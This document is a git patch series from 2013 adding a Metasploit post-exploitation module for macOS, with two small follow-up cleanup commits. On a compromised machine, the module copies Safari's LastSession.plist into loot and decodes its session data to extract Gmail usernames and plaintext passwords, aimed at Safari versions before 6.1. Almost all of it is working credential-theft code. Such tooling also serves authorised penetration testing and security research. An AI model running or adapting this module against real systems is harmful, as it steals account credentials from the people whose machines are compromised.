From ea6ba2b159b3817df55d2119d1e345aa34195a7e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 17 Dec 2013 13:07:30 -0600 Subject: [PATCH 1/3] Add post module to get LastSession.plist LastSession.plist sometimes contains sensitive information such as usernames and passwords. It'd be nice to keep this in loot. --- modules/post/osx/gather/safari_lastsession.rb | 220 ++++++++++++++++++ 1 file changed, 220 insertions(+) create mode 100644 modules/post/osx/gather/safari_lastsession.rb diff --git a/modules/post/osx/gather/safari_lastsession.rb b/modules/post/osx/gather/safari_lastsession.rb new file mode 100644 index 0000000000..6b82ef376e --- /dev/null +++ b/modules/post/osx/gather/safari_lastsession.rb @@ -0,0 +1,220 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'OSX Gather Safari LastSession.plist', + 'Description' => %q{ + This module downloads the LastSession.plist file from the target machine. + LastSession.plist is used by Safari to track active websites in the current + session, and sometimes contains sensitive information such as usernames and + passwords. This module will first download the original LastSession.plist, + and then attempt to find the credential for Gmail. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r'], + 'Platform' => [ 'osx' ], + 'SessionTypes' => [ 'shell' ], + 'References' => + [ + ['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari'] + ] + )) + end + + + # + # Returns the Safari version based on version.plist + # @return [String] The Safari version. If not found, returns '' + # + def get_safari_version + vprint_status("#{peer} - Checking Safari version.") + version = '' + + f = read_file("/Applications/Safari.app/Contents/version.plist") + xml = REXML::Document.new(f) + return version if xml.root.nil? + + xml.elements['plist/dict'].each_element do |e| + if e.text == 'CFBundleShortVersionString' + version = e.next_element.text + break + end + end + + version + end + + def peer + "#{session.session_host}:#{session.session_port}" + end + + + # + # Converts LastSession.plist to xml, and then read it + # @param filename [String] The path to LastSession.plist + # @return [String] Returns the XML version of LastSession.plist + # + def plutil(filename) + cmd_exec("plutil -convert xml1 #{filename}") + cmd_exec("cat #{filename}") + end + + + # + # Returns the XML version of LastSession.plist (text file) + # Just a wrapper for plutil + # + def get_lastsession + print_status("#{peer} - Looking for LastSession.plist") + plutil("~/Library/Safari/LastSession.plist") + end + + + # + # Returns the element that contains session data + # @param lastsession [String] XML data + # @return [REXML::Element] The Array element for the session data + # + def get_sessions(lastsession) + session_dict = nil + + xml = REXML::Document.new(lastsession) + return nil if xml.root.nil? + + xml.elements['plist'].each_element do |e| + found = false + e.elements.each do |e2| + if e2.text == 'SessionWindows' + session_dict = e.elements['array'] + found = true + break + end + end + + break if found + end + + session_dict + end + + + # + # Returns the session element + # @param xml [REXML::Element] The array element for the session data + # @param domain [String] The domain to search for + # @return [REXML::Element] The element for the session data + # + def get_session_element(xml, domain) + dict = nil + + found = false + xml.each_element do |e| + e.elements['array/dict'].each_element do |e2| + if e2.text =~ /#{domain}/ + dict = e + found = true + break + end + end + + break if found + end + + dict + end + + + # + # Extracts Gmail username/password + # @param xml [REXML::Element] The array element for the session data + # @return [Array] [0] is the domain, [1] is the user, [2] is the pass + # + def find_gmail_cred(xml) + vprint_status("#{peer} - Looking for username/password for Gmail.") + gmail_dict = get_session_element(xml, 'mail.google.com') + return '' if gmail_dict.nil? + + raw_data = gmail_dict.elements['array/dict/data'].text + decoded_data = Rex::Text.decode_base64(raw_data) + cred = decoded_data.scan(/Email=(.+)&Passwd=(.+)\&signIn/).flatten + user, pass = cred.map {|data| Rex::Text.uri_decode(data)} + + return '' if user.blank? or pass.blank? + + ['mail.google.com', user, pass] + end + + # + # Runs the module + # + def run + cred_tbl = Rex::Ui::Text::Table.new({ + 'Header' => 'Credentials', + 'Indent' => 1, + 'Columns' => ['Domain', 'Username', 'Password'] + }) + + # + # Downloads LastSession.plist in XML format + # + lastsession = get_lastsession + if lastsession.blank? + print_error("#{peer} - LastSession.plist not found") + return + else + p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml') + print_good("#{peer} - LastSession.plist stored in: #{p.to_s}") + end + + # + # If this is an unpatched version, we try to extract creds + # + version = get_safari_version + if version.blank? + print_warning("Unable to determine Safari version, will try to extract creds anyway") + elsif version >= "6.1" + print_status("#{peer} - This machine no longer stores session data in plain text") + return + else + vprint_status("#{peer} - Safari version: #{version}") + end + + # + # Attempts to convert the XML file to an actual XML object, with the element + # holding our session data + # + lastsession_xml = get_sessions(lastsession) + unless lastsession_xml + print_error("Cannot read XML file, or unable to find any session data") + return + end + + # + # Look for credential in the session data. + # I don't know who else stores their user/pass in the session data, but I accept pull requests. + # Already looked at hotmail, yahoo, and twitter + # + gmail_cred = find_gmail_cred(lastsession_xml) + cred_tbl << gmail_cred unless gmail_cred.blank? + + unless cred_tbl.rows.empty? + p = store_loot('osx.lastsession.creds', 'text/plain', session, cred_tbl.to_csv, 'LastSession_creds.txt') + print_good("#{peer} - Found credential saved in: #{p}") + print_line + print_line(cred_tbl.to_s) + end + end + +end From 374ef71c12214a65ca7216cd3c7727157efd4e33 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 17 Dec 2013 15:34:52 -0600 Subject: [PATCH 2/3] Favor read_file instead --- modules/post/osx/gather/safari_lastsession.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/osx/gather/safari_lastsession.rb b/modules/post/osx/gather/safari_lastsession.rb index 6b82ef376e..c5f07339be 100644 --- a/modules/post/osx/gather/safari_lastsession.rb +++ b/modules/post/osx/gather/safari_lastsession.rb @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Post # def plutil(filename) cmd_exec("plutil -convert xml1 #{filename}") - cmd_exec("cat #{filename}") + read_file(filename) end From 7ec96876d92244f5983025be9a2f57d6142f195d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Dec 2013 15:57:09 -0600 Subject: [PATCH 3/3] Delete unnecessary includes --- modules/post/osx/gather/safari_lastsession.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/post/osx/gather/safari_lastsession.rb b/modules/post/osx/gather/safari_lastsession.rb index c5f07339be..d08537550d 100644 --- a/modules/post/osx/gather/safari_lastsession.rb +++ b/modules/post/osx/gather/safari_lastsession.rb @@ -8,9 +8,7 @@ require 'rexml/document' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File - include Msf::Auxiliary::Report def initialize(info={}) super( update_info( info,